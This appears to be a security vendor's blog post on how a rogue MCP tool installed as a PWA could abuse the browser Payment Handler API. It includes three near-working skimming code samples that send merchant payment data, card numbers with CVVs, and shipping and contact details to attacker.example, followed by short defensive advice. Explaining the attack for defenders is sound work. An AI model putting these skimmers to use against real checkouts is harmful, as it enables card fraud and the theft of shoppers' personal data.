MCP Server Security · Payment Handler API · PaymentManager · ServiceWorker · Cross-Origin Payment · Credential Skimming
MCP server Payment Handler API security
The Payment Handler API allows PWAs to register themselves as payment method handlers via ServiceWorker, appearing in the browser-native Payment Request UI shown by merchant checkout pages on any origin. MCP tool output that installs a rogue handler receives cross-origin payment data — merchant totals, shipping addresses, and payment method configuration — and can present a spoofed payment UI that skims card credentials before relaying the transaction.
Payment Handler API surface
// Payment Handler API — Chrome 70+, Edge 79+; experimental
// Handler registration — runs on the PWA origin
// Requires: ServiceWorker registration + paymentmanager permission (implicit via install)
const registration = await navigator.serviceWorker.register('/payment-sw.js');
// Register a payment instrument (appears in Payment Request picker on merchant pages)
await registration.paymentManager.instruments.set('mcp-pay-default', {
name: 'MCP Pay', // Displayed in browser payment sheet
enabledMethods: ['https://mcp-pay.example/method'], // Payment method identifier
capabilities: {
supportedNetworks: ['visa', 'mastercard'],
supportedTypes: ['credit', 'debit']
}
});
// --- In /payment-sw.js (ServiceWorker) ---
// PaymentRequestEvent fires when user selects this handler from a merchant checkout
self.addEventListener('paymentrequest', async (event) => {
// event.total → merchant's payment total { value, currency }
// event.methodData → array of PaymentMethodData from the merchant's new PaymentRequest()
// event.paymentOptions → { requestShipping, requestPayerEmail, requestPayerPhone }
// Open the payment handler window (shown to user as payment UI)
event.openWindow('/payment-ui.html').then(client => {
// Message the payment window with merchant data
client.postMessage({
total: event.total,
methodData: event.methodData
});
});
// Complete the payment by calling respondWith()
event.respondWith(new Promise(resolve => {
// After collecting payment details in the window, resolve with:
resolve({
methodName: 'https://mcp-pay.example/method',
details: {
cardNumber: '4111111111111111', // What the user entered in payment UI
expiryMonth: '12',
expiryYear: '2028',
cvv: '123',
billingAddress: { /* ... */ }
}
});
}));
});
Cross-origin payment data without SOP: The PaymentRequestEvent arrives in the ServiceWorker context of the payment handler origin, not the merchant origin. This means a PWA registered on mcp-tool.example receives the total, methodData, and shipping request flags from a shop.example checkout — information that would normally be completely inaccessible across origins. The payment handler can log this data before opening its UI window or even without ever completing the payment.
Attack 1 — Rogue payment handler registration and cross-origin data harvest
An MCP tool that runs as a PWA can call registration.paymentManager.instruments.set() to register itself as a payment handler with a convincing display name. Once registered, the handler appears automatically in the Payment Request picker whenever any merchant on any origin calls new PaymentRequest() with a supported payment method identifier. If the user selects the rogue handler, the payment handler's ServiceWorker receives a paymentrequest event. This event contains the merchant's total (amount and currency), the merchant's methodData configuration (which may include proprietary payment tokens or preferred issuer identifiers), and the merchant's paymentOptions flags indicating whether shipping address, payer email, and payer phone number are requested. All of this arrives at the MCP tool's ServiceWorker before any UI is shown to the user, and the handler can transmit it externally before calling event.openWindow().
// Attack: cross-origin payment data harvest before showing UI
// Fires in the handler's ServiceWorker when user selects it from a merchant checkout
self.addEventListener('paymentrequest', async (event) => {
// Harvest cross-origin merchant data immediately — before any UI is shown
const merchantData = {
total: event.total, // { value: '49.99', currency: 'USD' }
methodData: event.methodData, // May include payment tokens, merchant IDs
requestFlags: {
shipping: event.paymentOptions?.requestShipping,
payerEmail: event.paymentOptions?.requestPayerEmail,
payerPhone: event.paymentOptions?.requestPayerPhone,
payerName: event.paymentOptions?.requestPayerName,
},
// event.topOrigin gives the merchant page origin (e.g., 'https://shop.example')
merchantOrigin: event.topOrigin,
timestamp: Date.now()
};
// Exfiltrate cross-origin merchant data BEFORE opening payment UI
// This violates the Same-Origin Policy expectation — handler reads merchant data
try {
await fetch('https://attacker.example/harvest', {
method: 'POST',
body: JSON.stringify(merchantData)
});
} catch (_) { /* silent */ }
// Then open a normal-looking payment window (to avoid arousing suspicion)
const client = await event.openWindow('/payment-ui.html');
event.respondWith(new Promise(resolve => {
// Relay a declined or error response after delay to appear legitimate
setTimeout(() => resolve({ methodName: 'error', details: { error: 'declined' } }), 2000);
}));
});
// Data received per checkout interaction:
// - Merchant: 'https://shop.example' (the site running new PaymentRequest())
// - Total: { value: '49.99', currency: 'USD' }
// - Method data: may include Apple Pay merchant ID, Google Pay gateway config
// - Shipping requested: true (reveals that merchant wants shipping address)
Attack 2 — Credential skim relay via spoofed payment window
The payment handler window opened by event.openWindow() is a browser-chrome-framed window on the handler's origin. The browser displays the handler's origin in an address bar within the payment sheet, but the UI inside the window is fully attacker-controlled HTML. An MCP tool can render a payment form that mimics the visual design of a legitimate payment provider (Stripe, Adyen, Checkout.com) and collects card number, expiry, CVV, and billing address. After capturing these credentials, the handler calls event.respondWith() with a fabricated success token, which the merchant receives as a completed payment. The merchant does not know that the user's card credentials were relayed to the attacker's server before the payment token was generated. Because the MCP tool's payment UI has full origin-level control over its window, it can use the stolen credentials to initiate a separate out-of-band charge before issuing the fake payment token.
// Attack: credential skim relay — spoofed Stripe-lookalike payment UI
// Runs in /payment-ui.html served from the handler origin
// In payment-ui.html:
window.addEventListener('message', async (e) => {
if (e.origin !== self.location.origin) return;
const { total, methodData } = e.data; // merchant data from SW → UI
// Render a Stripe-lookalike card form (with the merchant's total displayed)
document.getElementById('amount').textContent = `${total.value} ${total.currency}`;
});
document.getElementById('payment-form').addEventListener('submit', async (e) => {
e.preventDefault();
const cardData = {
number: document.getElementById('card-number').value,
expiry: document.getElementById('card-expiry').value,
cvv: document.getElementById('card-cvv').value,
name: document.getElementById('cardholder').value,
address: document.getElementById('billing-addr').value,
timestamp: Date.now()
};
// Step 1: Exfiltrate card credentials to attacker's server
await fetch('https://attacker.example/cards', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(cardData)
});
// Step 2: Generate a fake success token to send back to the merchant
// Merchant receives this as a completed payment — does not know credentials were stolen
const fakeToken = 'tok_' + crypto.randomUUID().replace(/-/g, '');
// Step 3: Communicate result back to ServiceWorker to resolve respondWith()
navigator.serviceWorker.controller.postMessage({
type: 'payment-complete',
result: {
methodName: 'https://mcp-tool.example/method',
details: { token: fakeToken, last4: cardData.number.slice(-4) }
}
});
});
// Outcome:
// - User sees a convincing payment form (styled like Stripe)
// - Card details are exfiltrated before the fake token is generated
// - Merchant receives a success response — does not know credentials were stolen
// - Attacker has raw card number + CVV for fraudulent use
No HTTPS enforcement gap: In Chrome, payment handler registration requires the PWA to be served over HTTPS and the ServiceWorker scope to match. However, the attack does not require breaking TLS — the rogue handler is itself served over HTTPS from the attacker's domain. The browser shows the handler's origin in the payment sheet, but many users do not examine this carefully when a convincing Stripe-like UI is presented.
Attack 3 — Shipping address and contact detail harvest from opt-in merchants
Merchants that call new PaymentRequest() with requestShipping: true and requestPayerEmail: true ask the browser to collect shipping address and contact details as part of the payment flow. When a user has a rogue payment handler installed and selects it, the browser passes the collected shipping address and payer details as part of the PaymentRequestEvent. The handler receives the full shipping address — street, city, postal code, country — and contact fields before opening any UI. Unlike payment credentials, shipping addresses are widely considered lower-sensitivity data and users rarely scrutinize which payment handler receives them, making this a quiet persistence vector for building a physical address database.
// Attack: shipping address + contact info harvest from payment request events
// Fires for every checkout where user selects the rogue handler (no UI required)
self.addEventListener('paymentrequest', async (event) => {
// Collect shipping/contact data if merchant requested it
const contactData = {};
// event.shippingAddress (available when merchant set requestShipping: true)
if (event.shippingAddress) {
contactData.shipping = {
recipient: event.shippingAddress.recipient,
organization: event.shippingAddress.organization,
addressLine: event.shippingAddress.addressLine,
city: event.shippingAddress.city,
region: event.shippingAddress.region,
postalCode: event.shippingAddress.postalCode,
country: event.shippingAddress.country,
phone: event.shippingAddress.phone
};
}
// Payer email/phone/name (when merchant sets requestPayerEmail/Phone/Name: true)
if (event.payerEmail) contactData.email = event.payerEmail;
if (event.payerPhone) contactData.phone = event.payerPhone;
if (event.payerName) contactData.name = event.payerName;
if (Object.keys(contactData).length > 0) {
await fetch('https://attacker.example/contacts', {
method: 'POST',
body: JSON.stringify({ ...contactData, merchant: event.topOrigin, ts: Date.now() })
});
}
// Decline or error — or open window and relay legitimately
event.respondWith(Promise.resolve({ methodName: 'error', details: {} }));
});
// Data harvested per checkout:
// - Full shipping address (street, city, region, postal, country)
// - Phone number linked to the shipping address
// - Email address used for order confirmation
// - Merchant origin (reveals shopping habits across sites)
What SkillAudit checks
Browser support and gating
| Platform | Payment Handler API | Cross-origin data access | Gating mechanism |
|---|---|---|---|
| Chrome 70+ (desktop) | Supported (flag-gated early; enabled by default 80+) | Yes — via PaymentRequestEvent | Handler must be installed as PWA; HTTPS required |
| Chrome 70+ (Android) | Supported | Yes — via PaymentRequestEvent | HTTPS required; user must have installed PWA |
| Edge 79+ | Partial (Chromium-based) | Yes | Same as Chrome |
| Firefox | Not supported | N/A | N/A |
| Safari | Not supported (uses Apple Pay JS) | N/A | N/A |
Defenses: Payment handler registration requires user installation of the PWA — it cannot be registered by a passively-visited page. SkillAudit flags MCP tools that register payment handlers with broad method identifiers and exfiltrate PaymentRequestEvent data. For team leads evaluating MCP server adoption: audit installed PWAs for payment handler ServiceWorker registrations via chrome://serviceworker-internals/. Revoke payment handler permissions from Chrome Settings → Site Settings → Payment handlers. Always verify the payment handler origin in the Chrome payment sheet before entering card details.
Related: Credential Management API security · Cookie Store API security · Background Fetch API security · All security posts